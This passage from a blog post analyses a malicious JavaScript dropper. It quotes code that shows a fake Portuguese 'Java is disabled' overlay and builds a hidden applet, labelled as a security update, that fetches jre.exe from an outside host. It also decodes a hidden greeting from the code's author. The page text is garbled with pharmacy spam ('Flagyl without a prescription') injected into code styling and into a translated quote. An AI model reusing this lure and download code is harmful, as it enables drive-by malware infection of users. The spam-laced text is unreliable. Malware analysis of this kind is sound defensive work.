<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 148:</span>                 viewportwidth = document.getElementsByTagName(<span style="color: #006080">'body'</span>)[0].clientWidth;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 149:</span>                 viewportheight = document.getElementsByTagName(<span style="color: #006080">'body'</span>)[0].clientHeight;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 150:</span>             }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 151:</span>             <span style="color: #008000">//html = 'java is NOT enabled...';</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 152:</span>             html = <span style="color: #006080">'&lt;div id=&quot;xyz_light_cont&quot; style=&quot;display: none; position: absolute; text-align: center; top: 0; left: 0; width: 103%; height: 103%; z-index: 9002; background: none&quot;&gt;&lt;div id=&quot;xyz_light&quot; style=&quot;display: none; margin: 0 auto; margin-top: 130px; width: 600px; padding: 0;    border: 16px solid #212121; border-top: none; background-color: white; z-index:9003; overflow: auto; font-family: Tahoma; font-size: 11px; color: black; text-align: center;&quot;&gt;&lt;!--&lt;div style=&quot;text-align: left; width: 70%; margin: auto auto; background-color: #fff; border: 1px solid #727272&quot;&gt;--&gt;&lt;div style=&quot;font-weight: bold; font-size: 12px; color: #fff; padding: 12px 8px 8px 4px; background-color: #212121; text-align: left&quot;&gt;Atenção&lt;/div&gt;&lt;div style=&quot;padding: 6px; background-color: #fff&quot;&gt;&lt;div style=&quot;text-align: right;&quot;&gt;&lt;a style=&quot;text-decoration: underline; color: blue&quot; href=&quot;javascript:void(0)&quot; onclick=&quot;document.getElementById(\'xyz_light\').style.display=\'none\';document.getElementById(\'xyz_fade\').style.display=\'none\';document.getElementById(\'xyz_light_cont\').style.display=\'none\'&quot;&gt;Fechar&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;padding-top: 8px; text-align: center&quot;&gt;&lt;img margin: 5px; padding: 0&quot; src=&quot;http://s1.postimage.org/317sn151g/java.jpg&quot; /&gt;&lt;/div&gt;&lt;div style=&quot;padding: 10px 0 25px 0; text-align: center; font-weight: bold&quot;&gt;Você não possui Java ou ele está desabilitado.&lt;br /&gt;Esta página possui recursos que requerem que o Java esteja ativado.&lt;br /&gt;&lt;br /&gt;&lt;a target=&quot;_blank&quot; href=&quot;http://www.java.com/pt_BR/download/&quot;&gt;Clique aqui para instalar o plugin do Java.&lt;/a&gt;&lt;/div&gt;&lt;!--&lt;/div&gt;--&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;'</span> + <span style="color: #006080">''</span> + <span style="color: #006080">'&lt;div id=&quot;xyz_fade&quot; style=&quot;display: none; position: absolute; top: 0; left: 0; width: '</span> + viewportwidth + <span style="color: #006080">'px; height: '</span> + viewportheight + <span style="color: #006080">'px; background-color: black; z-index: 9001; -moz-opacity: 0.8; opacity: .80; filter: alpha(opacity=80)&quot;&gt;&lt;/div&gt;'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 153:</span>             <span style="color: #008000">/**/</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 154:</span>             <span style="color: #008000">//report java disabled access</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 155:</span>             <span style="color: #0000ff">if</span> (jsm_report_on) JSM_createImg(jsm_report_javaoff);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 156:</span>             <span style="color: #008000">//if (jsm_lab_on) JSM_labReport(jsm_lab_javaoff);</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 157:</span>             <span style="color: #0000ff">if</span> (jsm_lab_on) JSM_labReport2(jsm_lab_javaoff);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 158:</span>             hBody.insertBefore(JSM_createSpan(html), hBody.firstChild);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 159:</span>             document.getElementById(<span style="color: #006080">'xyz_light_cont'</span>).style.display = <span style="color: #006080">'block'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 160:</span>             document.getElementById(<span style="color: #006080">'xyz_light'</span>).style.display = <span style="color: #006080">'block'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 161:</span>             document.getElementById(<span style="color: #006080">'xyz_fade'</span>).style.display = <span style="color: #006080">'block'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 162:</span>         }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 163:</span>         hBody.insertBefore(JSM_createScript(jsm_popunder_url), hBody.firstChild);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 164:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 165:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 166:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 167:</span> <span style="color: #0000ff">function</span> JSM_onCreate() {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 168:</span>     <span style="color: #0000ff">if</span> (jsm_loaded) <span style="color: #0000ff">return</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 169:</span>     <span style="color: #0000ff">var</span> myBody = document.body;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 170:</span>     <span style="color: #0000ff">if</span> (myBody) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 171:</span>         jsm_loaded = <span style="color: #0000ff">true</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 172:</span>         JSM_onInit(myBody);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 173:</span>     } <span style="color: #0000ff">else</span> {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 174:</span>         setTimeout(<span style="color: #006080">&quot;JSM_onCreate()&quot;</span>, 100);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 175:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 176:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 177:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 178:</span> <span style="color: #0000ff">function</span> WindowOnload(f) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 179:</span>     <span style="color: #0000ff">var</span> prev = window.onload;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 180:</span>     window.onload = <span style="color: #0000ff">function</span> () {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 181:</span>         <span style="color: #0000ff">if</span> (prev) prev();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 182:</span>         f();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 183:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 184:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 185:</span> WindowOnload(JSM_onCreate);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 186:</span> setTimeout(<span style="color: #006080">&quot;JSM_onCreate()&quot;</span>, 7000);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 187:</span> <span style="color: #008000">/*</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 188:</span> <span style="color: #008000">msg = d_hex( d_b64( ?. ) );</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 189:</span> <span style="color: #008000">NTM2MTc1NjQ2MWU3ZjU2NTczMjA2MTZmNzMyMDZkNjU3NTczMjA2MzZmNmM2NTY3NjE3MzIwNjQ2</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 190:</span> <span style="color: #008000">NTIwNzQ3MjYxNjI2MTZjNjg2ZjIwNjQ2ZjIwNjI2YzZmNjcyMDYzNzI2OTZkNjU3MzYzNjk2MjY1</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 191:</span> <span style="color: #008000">NzI2ZTY1NzQ2OTYzNmY3MzJlNjM2ZjZkMmUwZDBhNTM2MTYyNjU2ZTY0NmYyMDcxNzU2NTIwNmU2</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 192:</span> <span style="color: #008000">MTY0NjEyMDczNjE2MjY1NmQ2ZjczMjA2NTczNzQ2MTZkNmY3MzIwNjE2Y2U5NmQyMDY0NmYyMDYy</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 193:</span> <span style="color: #008000">NjU2ZDIwNjUyMDY0NmYyMDZkNjE2YzJjMjA2MTY2Njk2ZTYxNmMyMDYxMjBmYTZlNjk2MzYxMjA2</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>online Flagyl without a prescription</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 194:</span> <span style="color: #008000">MzZmNjk3MzYxMjA2MTYyNzM2ZjZjNzU3NDYxMjBlOTIwNzE3NTY1MjA3NDc1NjQ2ZjIwZTkyMDcy</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 195:</span> <span style="color: #008000">NjU2YzYxNzQ2OTc2NmYyZTBkMGE1NTZkMjA2MTYyNzI2MWU3NmYyYzIwNjQ2ZjIwNzM2NTc1MjA2</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 196:</span> <span style="color: #008000">MTZkNjk2NzZmMjA1MDczNzk2MzY4NmM2ZjJlMGQwYTYyNzkyMDUwNzM3OTYzNjg2YzZmMjAyZDIw</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 197:</span> <span style="color: #008000">MzEzMTJmMzEzMTJmMzEzMQ==</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 198:</span> <span style="color: #008000"></span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>Flagyl duration</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 199:</span> <span style="color: #008000">*/</span></pre>  </div></div></p>
<p><p>&#160;</p></p>
<p><p>Now, some parts are more interesting than others.&#160; The end if the file just seems base64 encoded…cause it is.&#160; OK un-base64, you get a wall of numbers.&#160;&#160; But there is a clue in the d_hex function (that doesn’t exist), so we are assuming it is hex.&#160; Convert the tex to text and you see this:</p></p>
<p><blockquote>  <p>Saudações aos meus colegas de trabalho do blog crimesciberneticos.com.<br />
    <br />Sabendo que nada sabemos estamos além do bem e do mal, afinal a única coisa absoluta é que tudo é relativo.</p>
<p>    <br />Um abraço, do seu amigo Psychlo.</p>
<p>    <br />by Psychlo - 11/11/11</p></blockquote></p>
<p><p>Via Google translate you find this is Portuguese which I’m sure would make some of my Portuguese friends happy.&#160; Actually, if you want it to be hard to untranslate, use a language no one knows anymore, like Fries or <a href="http://en.wikipedia.org/wiki/Gronings">Gronings</a>!&#160; Cause you know every girl wants to hear, “Hey babe, I speak <a href="http://en.wikipedia.org/wiki/Gronings">Gronings</a>.”&#160; <sup>Note: my mother speaks Gronings.</sup></p></p>
<p><blockquote>  <p>Greetings to my coworkers crimesciberneticos.com blog.<br />
    <br />Knowing that we know nothing beyond good and evil, <b>purchase Flagyl</b>, after all the only thing absolute is that everything is relative.</p>
<p>    <br />A hug, your friend Psychlo.</p>
<p>    <br />by Psychlo - 11/11/11</p></blockquote></p>
<p><p>&#160;</p></p>
<p><p>Anyway, one of the things this code is trying to do is run a Java applet.&#160; But do take a look that the rest of that code, some of it will come in handy later.</p></p>
<p><p>&#160; Here is where that is happening:</p></p>
<p><div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">  <div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> <span style="color: #0000ff">function</span> JSM_getAppletHtml() {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>Flagyl without a prescription</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   2:</span>     <span style="color: #0000ff">return</span> <span style="color: #006080">'&lt;applet name=&quot;*ATENÇÃO* Atualização de Segurança Clique em EXECUTAR !!&quot; code=&quot;a.class&quot; archive=&quot;'</span> + JSM_getAppletURL() + <span style="color: #006080">'?r='</span> + Math.floor(100000 + (Math.random() * 999999 + 1)) + <span style="color: #006080">'&quot; width=&quot;0&quot; height=&quot;0&quot;  style=&quot;visibility: hidden&quot;&gt;        &lt;param name=&quot;l&quot; value=&quot;http://smsfame.com/Get/Get.php?a=jre.exe&quot;&gt;&lt;/param&gt;&lt;/applet&gt;'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   3:</span> }</pre>  </div></div></p>
<p><p>Which is indirecteeze for:</p></p>
<p><div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">  <div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: 